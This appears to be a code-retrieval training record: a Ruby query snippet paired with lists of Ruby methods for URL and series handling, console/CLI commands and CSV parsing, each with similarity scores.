"def get_url(data_name, next_data_indices = {})\n if next_data_indices.empty?\n next_data_indices = { nextStartIndex: 0, nextLikeStartIndex: 0, nextThumbStartIndex: 0 }\n else\n next_data_indices = next_data_indices.dup\n end\n\n next_data_indices[:webname] = @webname\n next_data_indices[:pat] = Downloader.get_pat\n\n DATA_FEED_URLS[data_name] % next_data_indices\n end",
"def track_id\n @url.gsub(_url_regex, '')\n end",
"def link_to_identifier; end",
"def link_to_identifier; end",
"def get_series_by_id (id)\n response = get_with_key(\"series/#{id}/#{@language}.xml\")\n raise \"HTTP Response Code: \" + response.code + \" not 200\" if response.code.to_i != 200\n doc = REXML::Document.new response.body\n return false unless doc.elements['Data'].elements['Series']\n args = {}\n doc.elements['Data'].elements['Series'].elements.each do |e|\n args[e.name.underscore.intern] = e.text\n end\n args[:client] = self\n series = Series.new(args)\n series.get_images\n series.get_episodes\n series\n end",
"def url_time_series_dashboard(time_series, options={})\n request.path == explore_time_series_show_path(time_series.owner, time_series) ? explore_time_series_dashboard_path(time_series.owner, time_series, options) : time_series_path(time_series.owner, time_series, options)\n end",
"def id\n \"#{controller.url}/#{name}\"[1..-1].gsub('/', '_')\n end",
"def dataset_metadata(id)\n return uri(\"views/\" + id + \".json\")\n end",
"def key_for_series(bucketable, series_name, bucket_name)\n \"bucket_maker:#{bucketable.class.to_s.underscore}_#{bucketable.id}:#{series_name.to_s}:#{bucket_name.to_s}\" if bucketable && bucketable.id rescue nil\n end",
"def make_multi_series_graph(datasets, xlabels, min_temp, max_temp, title)\n ordered_series = datasets.keys.sort\n \n map = {} \n # graph type\n map[\"cht\"] = \"lc\" \n # graph size\n map[\"chs\"] = \"600x240\"\n # series colors\n map[\"chco\"] = html_colors(datasets.keys.length).join(',')\n # graph title\n map[\"chtt\"] = title\n # visible axes\n map[\"chxt\"] = \"x,y\"\n # axis ranges \n map[\"chxr\"] = \"1,#{min_temp},#{max_temp},#{(max_temp-min_temp)/10.0}\"\n # range for scaling data\n map[\"chds\"] = \"#{min_temp},#{max_temp}\"\n # axis labels\n map[\"chxl\"] = \"0:|#{xlabels.join('|')}\"\n # length of ticks\n map[\"chxtc\"] = \"0,8\"\n # data legend\n map[\"chdl\"] = ordered_series.join('|')\n \n # TODO: consider using a more efficient data representation technique\n # http://code.google.com/apis/chart/docs/data_formats.html\n \n # data\n serieses = []\n ordered_series.each {|key| serieses << datasets[key].join(',') }\n map[\"chd\"] = \"t:#{serieses.join('|')}\"\n \n make_url(map)\n end",
"def sitemap_index_urls\n each_sitemap_index_url.to_a\n end",
"def collection_id\n super.map { |url| URI(url).path.sub('/', '') }\n end",
"def link_name\n title\n end",
"def replacer\n lambda do |resource_id, _graph|\n parent_id = Hyrax.config.translate_uri_to_id.call(parent_url)\n return parent_url + resource_id.sub(parent_id, '') if resource_id.start_with?(parent_id)\n Rails.application.routes.url_helpers.solr_document_url(resource_id, host: hostname)\n end\n end",
"def view_lot_link\n \"#{app_config.urls['aurora_url_prefix']}/#{self.lot_num}\"\n end",
"def series\n \"#{major}.x.x\"\n end",
"def series=(value)\n @series = value\n end",
"def redirect_slug\n scenarios.pluck(:scenario_id).join(',')\n end",
"def id\n @entry_id || @url\n end",
"def resource_id(res)\n if res.is_a?(String)\n return res.split(/\\//).last.to_i\n else\n return res.href.split(/\\//).last.to_i\n end\n end",
"def metadata_graph_uri(slug)\n \"#{data_graph_uri(slug)}/metadata\"\n end",
"def set_url\n @url = Url.get_from_short(params[:id])\n end",
"def create\n params[:series] ||= {}\n @sid = params[:sid] || params[:series][:sid]\n @series = @sid.present? ? Series.find_or_new_from_sid(@sid, params[:series]) : Series.new(params[:series])\n\n respond_to do |format|\n if @series.save\n format.html { redirect_to @series, notice: 'Series was successfully created.' }\n format.json { render json: @series, status: :created, location: @series }\n else\n format.html { render action: \"new\" }\n format.json { render json: @series.errors, status: :unprocessable_entity }\n end\n end\n end",
"def extra_slug\n extra_slugs[id]\n end",
"def banner_urls(series_id)\n self.get_with_key(\"/series/#{series_id}/banners.xml\")['Banners']['Banner']\n end",
"def dataset_key\n :id\n end",
"def data_graph_uri(slug)\n \"http://#{PublishMyData.local_domain}/graph/#{slug}\"\n end",
"def url\n URL_MAPPING[@docid]\n end",
"def spotify_url; \"http://open.spotify.com/artist/#{spotify}\" end",
"def page_url(first, hsh)\n hsh = hsh.merge item_type: model.class.to_s,\n item_id: model.id.to_i\n api_history_path(first, hsh)\n end",
"def id_from_link(node)\n node.attribute('href').value.split('/').last.to_i\n end",
"def evolution_id()\n\t\tspecies2 = @evolution_url.split(\"n/\")\n\t\tid = species2[1].split(\"/\")\n\t\treturn id.join('')\n\tend",
"def linked_data_url(url)\n ld_api.linked_data_url(url)\n end",
"def series_name(chart, game)\n \"#{game.meta_data.name}: #{ COUNTRIES[chart.country] } #{ KINDS_TO_SHORTCUTS[chart.kind] } #{ chart.genre || \"apps\" }\"\n end",
"def to_endpoint id\n t=id.split('/')\n domain = t[1..-2].join('_')\n type = t[-1]\n \"freebase_tsv_#{domain}__#{type}\"\nend",
"def dataset_uid\n @raw_image_files.first.dicom_series_uid ? \n @raw_image_files.first.dicom_series_uid : @raw_image_files.first.image_uid\n end",
"def show\n title = CGI.unescape(params[:id])\n @serie = Serie.titled(title).first\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @series }\n end\n end",
"def set_id(page)\n page.data['id'] = page.data['permalink'][1..page.data['permalink'].length]\n end",
"def write_series_indexes\n series_posts = {}\n\n series = posts.docs.flat_map { |p| p.data[\"series\"] }.compact.uniq\n series.each do |name|\n safe_name = name.gsub(/_|\\P{Word}/, '-').gsub(/-{2,}/, '-').downcase\n path = File.join(\"series\", safe_name)\n\n this_series_posts = posts.select { |p| p.data[\"series\"] == name }.sort { |x, y| x.date <=> y.date }\n series_posts[name] = this_series_posts\n\n authors = this_series_posts.map { |p| p.data[\"author\"] }.flatten.uniq.map { |key| self.config['authors'][key] }\n write_series_index(path, name, series_posts, authors)\n end\n end",
"def id\n return @artist_data[\"id\"]\n end",
"def rep_name_url(input)\n rep = @list.each_with_index.find { |_, index| index == input.to_i - 1 }\n rep[0].name_url\n end",
"def set_url\n @url = Url.find_by_short_url(params[:id])\n end",
"def season(series_id, season_id)\n get(\"/catalog/titles/series/#{series_id.to_s}/seasons/#{season_id.to_s}\")\n end",
"def url\n self.name\n end",
"def elastics_id\n Digest::MD5.hexdigest url\n end",
"def index\n @series = Series.all.order(:title)\n end",
"def get_information_for_seriesid(seriesid)\n seriesInformation = SeriesInformation.find_by seriesid: seriesid\n if seriesInformation.nil?\n seriesInformation,_ = initialize_cache_and_return_data(seriesid)\n end\n return seriesInformation\n end",
"def generate_seo_option_name\n self.name = self.name.to_url\n end",
"def get_id_from_short_url shortURL\n\t id = 0 # initialize result \n\n\t # A simple base conversion logic \n\t (0...shortURL.size).each do |i| \n\t if ('a' <= shortURL[i] && shortURL[i] <= 'z') \n\t id = id*62 + shortURL[i].ord - 'a'.ord; \n\t end\n\n\t if ('A' <= shortURL[i] && shortURL[i] <= 'Z') \n\t id = id*62 + shortURL[i].ord - 'A'.ord + 26; \n\t end\n\n\t if ('0' <= shortURL[i] && shortURL[i] <= '9') \n\t id = id*62 + shortURL[i].ord - '0'.ord + 52;\n\t end \n\t end\n\n\t id\n\tend",
"def url(name)\n compliance_data.dig(:information_urls, name)\n end",
"def set_tv_series\n @tv_series = TvSerie.find(params[:id])\n end",
"def set_tv_series\n @tv_series = TvSeries.find(params[:id])\n end",
"def set_url_video_id\r\n # Get the URL and put in this variable that will be filtered\r\n # down to the Video ID\r\n url_video_id = self.url\r\n \r\n # Remove the http:// part of the URL\r\n if (url_video_id = url_video_id.split(/^http[s]?:\\/\\//i)[1]) != nil\r\n \r\n #Remove the www part if it exists\r\n url_video_id = url_video_id.split(/^www./i)[1] unless url_video_id.match(/^www./i) == nil\r\n \r\n # Go through each of the filters for the source of this story and\r\n # find one that will return the ID\r\n for filter in self.story_source.story_source_id_filters\r\n \r\n # Determine if this filter is usable for the URL provided\r\n if url_video_id.match(/^#{filter.pre_id_regex}/i) != nil\r\n # Remove the first part of the URL\r\n url_video_id = url_video_id.split(filter.pre_id_url)[1]\r\n \r\n # Remove the end of the URL\r\n url_video_id = url_video_id.split(filter.post_id_url)[0]\r\n \r\n # Set the ID and return it\r\n self.url_video_id = url_video_id\r\n return url_video_id\r\n end\r\n end\r\n end\r\n \r\n # The ID could not be found\r\n # Return nil and don't set the ID\r\n return nil\r\n end",
"def index\n @series = Series.all\n end"
] | [
"0.6870031",
"0.64083457",
"0.63562787",
"0.62019044",
"0.6194172",
"0.6138097",
"0.6127454",
"0.60452026",
"0.59736353",
"0.59736353",
"0.5916976",
"0.58610326",
"0.58597565",
"0.58401567",
"0.58279127",
"0.5824961",
"0.57486075",
"0.571796",
"0.5689775",
"0.5641594",
"0.5611171",
"0.56000113",
"0.55524045",
"0.5535449",
"0.54819",
"0.54754794",
"0.54594505",
"0.5403964",
"0.5386394",
"0.5366206",
"0.5356896",
"0.53252125",
"0.5314752",
"0.5303905",
"0.5293408",
"0.5287252",
"0.5280423",
"0.5279498",
"0.5261009",
"0.52534026",
"0.5225401",
"0.5208938",
"0.5175349",
"0.5169352",
"0.5162067",
"0.5160647",
"0.5148278",
"0.5121651",
"0.5116688",
"0.5116688",
"0.51062316",
"0.50979793",
"0.5075924",
"0.5071763",
"0.5026843",
"0.5020167",
"0.5016489",
"0.5008489",
"0.5005963",
"0.5001235",
"0.49864894",
"0.49851495",
"0.49680543",
"0.49676645",
"0.49659356",
"0.4956298",
"0.49559927",
"0.4955056",
"0.49385002",
"0.49322748",
"0.4931063",
"0.49287227",
"0.49260163",
"0.49070355",
"0.49000844",
"0.48872924",
"0.4876796",
"0.4872369",
"0.48716262",
"0.48692545",
"0.4860384",
"0.48582333",
"0.48524362",
"0.48521584",
"0.48479882",
"0.48456195",
"0.4843221",
"0.48401237",
"0.4829951",
"0.4829177",
"0.48260224",
"0.48201475",
"0.48180193",
"0.48176366",
"0.48162162",
"0.48039535",
"0.48023984",
"0.48011494",
"0.48008603",
"0.4795993"
] | 0.6198841 | 4 |
subcommand 'console', 'Use console', Turbo::Cli::ConsoleCommand | def execute
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def subcommand() __subcommand__ end",
"def console\nend",
"def console; end",
"def console; end",
"def __subcommand__!() @__subcommand__ end",
"def subcommand!() __subcommand__! end",
"def run_cmd(cmd)\n\t\tconsole.run_single(cmd)\n\tend",
"def run_cmd(cmd)\n\t\tconsole.run_single(cmd)\n\tend",
"def console(&blk); end",
"def console(&blk); end",
"def typo3_console(*cli_params)\n path_to_typo3_console = File.join(current_path, fetch(:path_to_typo3_console))\n run_script(File.join(current_path), path_to_typo3_console, cli_params)\n end",
"def subcommands() __subcommands__ end",
"def subcommands!() __subcommands__! end",
"def run( args=nil )\n console.error 'Running the generic command!!! WAT? https://www.destroyallsoftware.com/talks/wat'\n end",
"def console=(_arg0); end",
"def console=(_arg0); end",
"def subcommands(cmd); end",
"def subcommands(cmd); end",
"def command(**options)\n require \"tty-command\"\n TTY::Command.new(options)\n end",
"def main\n\n # test\n\n # Console.new\n console_start\n end",
"def command(**options)\n require 'tty-command'\n TTY::Command.new(options)\n end",
"def command(**options)\n require 'tty-command'\n TTY::Command.new(options)\n end",
"def command\n console.gets.chomp\n end",
"def test_console\n console\n end",
"def commands; end",
"def console(service) = execute(service: service)",
"def command; end",
"def command; end",
"def command; end",
"def command; end",
"def command; end",
"def command; end",
"def with_cli(cli); end",
"def desc\n \"Command shell\"\n end",
"def execute(input: $stdin, output: $stdout)\n message = 'Standard'\n puts message\n puts Pastel.new.green(TTY::Font.new(:standard).write(message))\n\n :gui\n end",
"def show_help\n\tputs \"These are the following commands that this application accepts:\"\n\tputs \"\\t 'add' (child name) (toy name) - gives a child a new toy\"\n\tputs \"\\t 'remove' (toy name) (child name) - takes away the child's toy\"\n\tputs \"\\t 'ls' - lists all children and the toys they are receiving\"\n\tputs \"\\t 'ls' (child name) - lists all the toys that one child is receiving\"\n\tputs \"\\t 'delivered' (child name) - marks that the toys have been delivered to the child\"\n\tputs \"\\t 'help' - shows all of the available commands that this application accepts\"\n\n\nend",
"def __subcommand__() @__subcommand__&.__ident__ end",
"def script(subcommand, *args); end",
"def script(subcommand, *args); end",
"def shell(*) end",
"def console\n @console ||= set_console\n @console\n end",
"def console\n repo = Repo.new\n repo.attach\n\n unless repo.has_repository?\n abort \"Cannot launch console: ripe repo not initialized\"\n end\n\n # Do not send arguments to the REPL\n ARGV.clear\n\n Ripl.config[:prompt] = proc do\n # This is the only place I could think of placing +Hirb#enable+.\n Hirb.enable unless Hirb::View.enabled?\n 'ripe> '\n end\n\n # Launch the REPL session in the context of +WorkerController+.\n Ripl.start :binding => repo.controller.instance_eval { binding }\n end",
"def run(args)\n if args.size > 0\n # show details of given commands\n show_details(args)\n else\n # print full list of commands\n list_commands\n end\n end",
"def commandChat _obj, _args\n \"_obj commandChat _args;\" \n end",
"def action\n puts \"use command!\\n\\n\"\n end",
"def runCommand(com) ;\n puts CommandSep ;\n puts \"com: #{com}\" ;\n system(com) ;\n end",
"def supercommand!() __supercommand__ end",
"def console\n IO.console\n end",
"def command(type)\n end",
"def cmd_cli_help argv\n setup argv\n msg run_cmd(\"help\")\n end",
"def we_have_a_command_with_two_subcommands(options = {})\n lambda {\n @run_results = { :add => nil, :rename => nil, :base => nil }\n @app.command :remote do |c|\n\n c.switch :f\n\n c.desc \"add a remote\"\n c.command [:add,:new] do |add|\n\n Array(options[:flags]).each { |_| add.flag _ }\n Array(options[:switches]).each { |_| add.switch _ }\n add.action do |global_options,command_options,args|\n @run_results[:add] = [global_options,command_options,args]\n end\n end\n\n c.desc \"rename a remote\"\n c.command :rename do |rename|\n rename.action do |global_options,command_options,args|\n @run_results[:rename] = [global_options,command_options,args]\n end\n end\n\n c.action do |global_options,command_options,args|\n @run_results[:base] = [global_options,command_options,args]\n end\n end\n ENV['GLI_DEBUG'] = 'true'\n }\n end",
"def help\n\t\tputs \"The CLI currently accepts the following commands:\"\n\t\tputs \"'help' - Displays the current help screen.\"\n\t\tputs \"'free' - Displays a list of the current free-to-play heroes.\"\n\t\tputs \"'<hero name>' - Will search for a hero of that name. No punctuation should be added and spaces should be represented with '-'\"\n\t\tputs \"'hero search' - Will return the user to the hero search prompt.\"\n\t\tputs \"'exit' - Closes the application.\"\n\tend",
"def init # entry method to the CLI \n greeting \n menu_list\n menu_selection\nend",
"def cmd; end",
"def test_run_with_help_command_and_explicit_command_name\n schema = Heroics::Schema.new(SAMPLE_SCHEMA)\n client = Heroics::client_from_schema(schema, 'https://example.com')\n output = StringIO.new\n command1 = Heroics::Command.new(\n 'cli', schema.resource('resource').link('list'), client, output)\n command2 = Heroics::Command.new(\n 'cli', schema.resource('resource').link('info'), client, output)\n cli = Heroics::CLI.new('cli', {'resource:list' => command1,\n 'resource:info' => command2}, output)\n cli.run('help', 'resource:info')\n expected = <<-USAGE\nUsage: cli resource:info <uuid_field>\n\nDescription:\n Show a sample resource\nUSAGE\n assert_equal(expected, output.string)\n end",
"def invoke_command(task, *args)\n if task.name == \"help\" && args == [[]]\n print \"dcenv #{Dcenv::VERSION}\\n\\n\"\n end\n \n if options[:help]\n CLI.task_help(shell, task.name)\n else\n super\n end\n end",
"def call(*command); end",
"def run\n _cmd = built_in_command( options[:args] )\n _cmd ||= options[:command] ? CommandRunner.new(options[:command]) : 0\n if _cmd.class == CommandRunner\n _cmd.run do |item|\n puts \"%s:\\n %s\\n\\n\" % [ item.class, item.desc ] if item.is_a?(UseCase) && ENV['ENVIRONMENT'] != 'test'\n end\n else\n _cmd\n end\n end",
"def desc\n \"Interactive TTY\"\n end",
"def shell_commands(cmd, args); end",
"def run(command)\n puts command\n `#{command}`.tap &method(:puts)\nend",
"def cli(*args)\n CLI.new(args.flatten, self).execute\n end",
"def cli(*args)\n CLI.new(args.flatten, self).execute\n end",
"def set_console\n @console = Console.find(params[:id])\n end",
"def run!\n trace = false\n require_program :version, :description\n\n global_option('-h', '--help', 'Help on any command', :hide => true)\n global_option('--version', 'Display version information', :hide => true)\n\n # special case --debug so all commands can output relevant info on it\n $terminal.debug = options_parse_debug\n\n # special case --trace because we need to use it in the runner\n trace = options_parse_trace\n\n # special case --version so it is processed before an invalid command\n options_parse_version\n\n # help is a special branch prior to command execution\n options_parse_help\n\n unless trace\n begin\n run_active_command\n rescue InvalidCommandError => e\n run_help(provided_arguments)\n rescue \\\n OptionParser::InvalidOption => e\n RHC::Helpers.error e.message\n 1\n rescue \\\n ArgumentError,\n OptionParser::ParseError => e\n\n help_bindings = CommandHelpBindings.new(active_command, commands, self)\n usage = RHC::HelpFormatter.new(self).render_command_syntax(help_bindings)\n message = case e\n when OptionParser::AmbiguousOption\n \"The option #{e.args.join(' ')} is ambiguous. You will need to specify the entire option.\"\n else\n e.message\n end\n\n RHC::Helpers.error message\n say \"#{usage}\"\n 1\n rescue RHC::Exception, RHC::Rest::Exception => e\n RHC::Helpers.error e.message\n e.code.nil? ? 128 : [1, (e.code || 1).to_i].max\n end\n else\n run_active_command\n end\n end",
"def test_run_without_arguments\n schema = Heroics::Schema.new(SAMPLE_SCHEMA)\n client = Heroics::client_from_schema(schema, 'https://example.com')\n output = StringIO.new\n command1 = Heroics::Command.new(\n 'cli', schema.resource('resource').link('list'), client, output)\n command2 = Heroics::Command.new(\n 'cli', schema.resource('resource').link('info'), client, output)\n cli = Heroics::CLI.new('cli', {'resource:list' => command1,\n 'resource:info' => command2}, output)\n cli.run\n expected = <<-USAGE\nUsage: cli <command> [<parameter> [...]] [<body>]\n\nHelp topics, type \"cli help <topic>\" for more details:\n\n resource:info Show a sample resource\n resource:list Show all sample resources\nUSAGE\n assert_equal(expected, output.string)\n end",
"def run(cmd)\n shell_out! \"#{jboss_cli} '#{cmd}'\", cli_options\n end",
"def help\n send_command \"--help\"\n end",
"def cli_path; end",
"def add_subcommand\n raise \"sub command is not supported\"\n end",
"def set_commands; end",
"def set_console\n @console = Console.find(params[:id])\n end",
"def test_run_with_help_command\n schema = Heroics::Schema.new(SAMPLE_SCHEMA)\n client = Heroics::client_from_schema(schema, 'https://example.com')\n output = StringIO.new\n command1 = Heroics::Command.new(\n 'cli', schema.resource('resource').link('list'), client, output)\n command2 = Heroics::Command.new(\n 'cli', schema.resource('resource').link('info'), client, output)\n cli = Heroics::CLI.new('cli', {'resource:list' => command1,\n 'resource:info' => command2}, output)\n cli.run('help')\n expected = <<-USAGE\nUsage: cli <command> [<parameter> [...]] [<body>]\n\nHelp topics, type \"cli help <topic>\" for more details:\n\n resource:info Show a sample resource\n resource:list Show all sample resources\nUSAGE\n assert_equal(expected, output.string)\n end",
"def help\n @t.say(\"The available commands are: BUY, SELL, RECENT, BALANCE\")\nend",
"def subcommands\n @subcommands ||= []\n end",
"def subcommands\n @subcommands ||= []\n end",
"def main(*args)\n #puts self.class # TODO: fix help\n raise NoCommandError\n end",
"def initialize\n @console = Console.new\n end",
"def console\n puts \"`heroku #{current_command}` has been removed. Please use: `heroku run` instead.\"\n puts \"For more information, please see:\"\n puts \" * https://devcenter.heroku.com/articles/one-off-dynos\"\n puts \" * https://devcenter.heroku.com/articles/rails3#console\"\n puts \" * https://devcenter.heroku.com/articles/console-bamboo\"\n end",
"def command_use\n puts(\"Use item\")\n end",
"def execute(input: $stdin, output: $stdout)\n loop do\n case @subcommand\n when :gui\n gui\n when :filter\n require_relative 'demo_filter'\n subcmd = PocShotstack::Commands::DemoFilter.new({})\n when :image\n require_relative 'demo_image'\n subcmd = PocShotstack::Commands::DemoImage.new({})\n when :status\n require_relative 'demo_status'\n subcmd = PocShotstack::Commands::DemoStatus.new({})\n when :text\n require_relative 'demo_text'\n subcmd = PocShotstack::Commands::DemoText.new({})\n when :title\n require_relative 'demo_title'\n subcmd = PocShotstack::Commands::DemoTitle.new({})\n when :dsl\n require_relative 'demo_dsl'\n subcmd = PocShotstack::Commands::DemoDsl.new({})\n else\n break\n end\n @subcommand = subcmd&.execute(input: input, output: output)\n end\n end",
"def console(vid)\n perform_request(:action => 'vserver-console', :vserverid => vid)\n returned_parameters\n end",
"def subcommand\n # clear_last_line\n # pbold 'Subcommand:'\n begin\n prompt = %(\n [q] quit [w] config write [d] delete\n [x] update config + quit [r] config read [r] rename\n [wq] write config + quit [e] edit file under cursor [m] move\n [P] copy PWD to clipboard [o] open file under cursor [c] copy\n [p] copy filename to clipboard [h] help [t] toggle flags\n )\n # command = readline 'Enter command: q x wq P p w e r h :'\n command = readline prompt\n return if command == ''\n rescue StandardError\n return\n end\n if command == 'q'\n quit_command\n elsif command == 'wq'\n @quitting = true\n @writing = true\n elsif command == 'w'\n config_write\n elsif command == 'r'\n config_read\n elsif command == 'x'\n @quitting = true\n @writing = true if @modified\n elsif command == 'e'\n edit_current\n elsif command == 'o'\n open_current\n elsif command == 'd'\n delete_file\n elsif command == 'c'\n copy_file\n elsif command == 'r'\n rename_file\n elsif command == 'm'\n move_file\n elsif command == 'h' || command == 'help' || command == '?'\n print_help\n elsif command == 'P'\n # or should be put current file in clip ?\n system 'echo $PWD | pbcopy'\n message 'Stored PWD in clipboard (using pbcopy)'\n elsif command == 'p'\n system \"echo #{current_file} | pbcopy\"\n message \"Stored #{current_file} in clipboard (using pbcopy)\"\n elsif command == 't' || command == 'toggle'\n toggle_menu\n else\n perror \"Don't know about command #{command}. Try :h or :help\"\n end\nend",
"def issue_command(str)\n puts str\nend",
"def cmd(*args) self.class.cmd(*args) end",
"def console\n warn = nil\n if (res = context.resources.find_by(name: args.resource))\n if res.respond_to?(:console)\n res.console\n else\n warn = \"Resource #{resource} does not implement 'console'\"\n end\n else\n warn = \"Resource #{resource} not found\"\n end\n Cnfs.logger.warn(warn) if warn\n end",
"def command(**options)\n require 'tty-command'\n TTY::Command.new({ printer: :quiet, uuid: false }.merge(options))\n end",
"def command_start; end",
"def command_start; end",
"def command_start; end",
"def run(args)\n sub_args = parse_command_line(args)\n return if @help_requested\n\n cmd = sub_args.shift\n if @sub_commands.key?(cmd)\n sub_cmd = @sub_commands[cmd].new\n sub_cmd.run(sub_args)\n else\n help\n\n if cmd || !args.empty?\n fail(\n Simp::Cli::ProcessingError,\n \"ERROR: Did not recognize sub-command '#{cmd} #{args.join(' ')}'\"\n )\n end\n\n fail(Simp::Cli::ProcessingError, 'ERROR: Did not provide sub-command')\n end\n end",
"def console\n @console ||= Howzit::ConsoleLogger.new(options[:log_level])\n end",
"def commands\n {\n }\n end",
"def console_for(target)\n puts \"== ENTERING CONSOLE MODE. ==\\nType 'exit' to move on.\\nContext: #{target.inspect}\"\n\n begin\n oldargs = ARGV.dup\n ARGV.clear\n IRB.conf[:DEFAULT_OBJECT] = target\n IRB.start\n ensure\n ARGV.replace(oldargs)\n end\nend",
"def add_commands\n end",
"def original_run_command; end",
"def command\n consume 1, :command\n end",
"def test_run_without_commands\n output = StringIO.new\n cli = Heroics::CLI.new('cli', {}, output)\n cli.run('help')\n assert_equal('No commands are available.', output.string)\n end",
"def command_runner\n SimpleCommander::Runner.instance\nend",
"def say(text)\n @console.say(text)\n end",
"def runner ( command, opts)\n puts(\"Info: Running: #{command}\") if (opts[:verbrose])\n start_time = Time.now\n system(command)\n puts(\"Info: Done in #{(Time.now - start_time)/60.0}m.\") if (opts[:verbrose])\nend"
] | [
"0.72108346",
"0.691552",
"0.68188614",
"0.68188614",
"0.676146",
"0.6731146",
"0.6680069",
"0.6680069",
"0.6637479",
"0.6637479",
"0.66013145",
"0.65844333",
"0.65399045",
"0.6534787",
"0.6523297",
"0.6523297",
"0.64156973",
"0.64156973",
"0.64085",
"0.64048654",
"0.64008623",
"0.64008623",
"0.638246",
"0.6340159",
"0.6313871",
"0.6278439",
"0.6257105",
"0.6257105",
"0.6257105",
"0.6257105",
"0.6257105",
"0.6257105",
"0.62475115",
"0.61890316",
"0.61535364",
"0.6096869",
"0.60734963",
"0.60670936",
"0.60670936",
"0.6020709",
"0.6011849",
"0.59547305",
"0.59322375",
"0.5930974",
"0.5920291",
"0.59155613",
"0.59137464",
"0.5911071",
"0.5895848",
"0.5886269",
"0.5880922",
"0.5868204",
"0.5859514",
"0.5854763",
"0.5854242",
"0.58516645",
"0.58457977",
"0.5834074",
"0.5804646",
"0.5783886",
"0.577831",
"0.57757616",
"0.57757616",
"0.57687616",
"0.57670504",
"0.57544875",
"0.57528377",
"0.5750166",
"0.57499385",
"0.5743022",
"0.5732772",
"0.5730497",
"0.57253504",
"0.57234967",
"0.5719755",
"0.5719755",
"0.57181776",
"0.5714241",
"0.57140285",
"0.5703628",
"0.5703595",
"0.5700461",
"0.56972796",
"0.5687201",
"0.568422",
"0.5675655",
"0.56682587",
"0.5663207",
"0.5663207",
"0.5663207",
"0.5659658",
"0.5659351",
"0.56555593",
"0.56531787",
"0.5639631",
"0.56379485",
"0.56359714",
"0.5633992",
"0.5632868",
"0.56285137",
"0.5621364"
] | 0.0 | -1 |
change the time of csv to array of the string | def state_time
arr = []
@state_in_stock.each do |state|
arr << state.time
end
arr.shift
arr
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def csv_to_array(csv); end",
"def collect_registration_times(csv)\n registration_times = []\n csv.each do |row|\n registration_times.push(row[:regdate])\n end\n registration_times\nend",
"def csv_to_array(csv)\n csv.split(\",\").map(&:strip)\n end",
"def csv_to_array(csv)\n csv.split(\",\").map(&:strip)\n end",
"def create_arr_strs(csv)\n\tarr_of_strings = csv.read.split(\"\\r\")\n\tarr_of_strings\nend",
"def csv_to_array(csv_name)\n\tCSV.read(csv_name)\nend",
"def csv_to_array(phrase, delimiter = ',')\n phrase.split(delimiter).collect {|p| p.lstrip.rstrip }\n end",
"def tsv2array( data )\n return_data = [] \n data_by_line = data.split(\"\\n\")\n \n data_by_line.each do |d|\n intermediate = {}\n data_by_item = d.split(\"\\t\")\n for i in 0 .. ( data_by_item.size() - 1 )\n intermediate[ self.attributes[i] ] = data_by_item[i]\n end\n return_data.push( intermediate )\n end\n \n return return_data\n end",
"def transform_time fields,row\n @time_fields.each do |f|\n v = fields[f]\n next unless v\n ## change time field so it looks like standard\n # Y Mon Day H Mn Sec\n n = 4 + 2 + 2 + 2 + 2 + 2 - 1 # arr start at 0 =)\n row[v] = row[v].gsub(\"+01\",\"\")[0..n]\n transform_time_values row,v\n end\n return row\n end",
"def csv_convert(file)\n data_rows = []\n f = File.open(file, 'r')\n f.each_line do |line|\n data_rows.push line.chomp.split(',')\n end\n f.close\n return data_rows\nend",
"def fetch_csv_array(str) # instance method\n\n #remove whitespace\n str.gsub!(/\\s+/, \"\")\n return str.split(',')\n end",
"def csvfile_to_array(csv_f, header=true)\n arr_of_arrs = FasterCSV.read(csv_f)\n #puts arr_of_arrs.inspect()\n arr_of_arrs.shift() if header\n arr_of_arrs.flatten!\n\n return arr_of_arrs\n end",
"def load_csv(csv_filepath)\n gifts = []\n CSV.foreach(csv_filepath) do |row|\n gifts << row[0] # Nosso csv só tem uma coluna\n end\n return gifts\nend",
"def to_csv(array)\n @io.rewind\n @io.truncate(0)\n @csv << array\n @io.rewind\n @io.string\n end",
"def parse_csv_line(text_line)\n # Split the text_line by comma\n columns = text_line.split(\",\")\n # But some of the values are padded with spaces\n # And add the cleaned up values to the new array (called values)\n # strip --> predefined string function which trims spaces\n values = []\n columns.each {|x| values << x.strip}\n return values\n\nend",
"def load_csv (csv_file)\n\tret = []\n\tFile.open(csv_file, \"r\") do |f|\n\t\tf.each_line do |line|\n\t\t\t#puts line\n\t\t\tret << line.split(';')\n\t\tend\n\tend\n\treturn ret\nend",
"def csv_row\n [\n hub_id,\n tag_id,\n \"%2.2f\" % temperature,\n ACCELERATION_FORMAT % x_acceleration,\n ACCELERATION_FORMAT % y_acceleration,\n ACCELERATION_FORMAT % z_acceleration,\n rssi,\n timestamp.to_i\n ].join(\",\")\n end",
"def parse_csv_line(text_line)\n\tcolumns = text_line.split(\",\")\n\tvalues = []\n\tcolumns.each { |x| values << x.strip}\n\treturn values\nend",
"def parse_csv_file(delim, file_name) \n \n temp_array = Array.new #Create an array\n file = File.open(file_name, \"r\") #Open a file for reading\n \n \n #Iterate file, parse strings and store\n file.each_line do |line|\n temp_array.push(parse_line(delim, line))\n end\n\n #Close resource\n file.close\n \n return temp_array\nend",
"def csv_row\n #empty by default\n []\n end",
"def csv_row\n #empty by default\n []\n end",
"def prepare_csv\n unparsed_file = File.open(csv.path)\n self.parsed_csv_string = \"\"\n string = unparsed_file.readlines()\n string.each_with_index do |line,i|\n parsed_line = line.encode('UTF-8', 'binary', invalid: :replace, undef: :replace, replace: '').gsub(/,\\\"\\\"/,'')\n # for some reason the iRacing CSV file is buggy.\n unless parsed_line == \"\\n\"\n if i == 5 or i == 6\n parsed_line = parsed_line.gsub(/\\n/,\"\\r\\n\")\n end\n self.parsed_csv_string << parsed_line\n end\n end\n unparsed_file.close\n end",
"def readTSVline(l, sep=nil)\n\n sep = detectSeperator if sep.nil?\n\n #row = CSV.parse_line(l, :col_sep => seperator).collect{|x|\n row = l.split(sep).collect{|x|\n if ! x.nil?\n x.strip;\n end\n }\n\n ### Pick specify elements of that table\n #name, id, lastVisitDate, lastAttendedDate, meetupsAttended, profileURL, lastDonationAmount, lastDonationDate = readTSVline(seperator)\n [0, 3, 6, 7, 12, 18, 19, 21].map {|i| row[i]}\nend",
"def genCsvSpeed()\n csv = [] ;\n to_a.each{|analyzer|\n csv.push(analyzer.genCsvRowSpeed()) ;\n }\n return csv ;\n end",
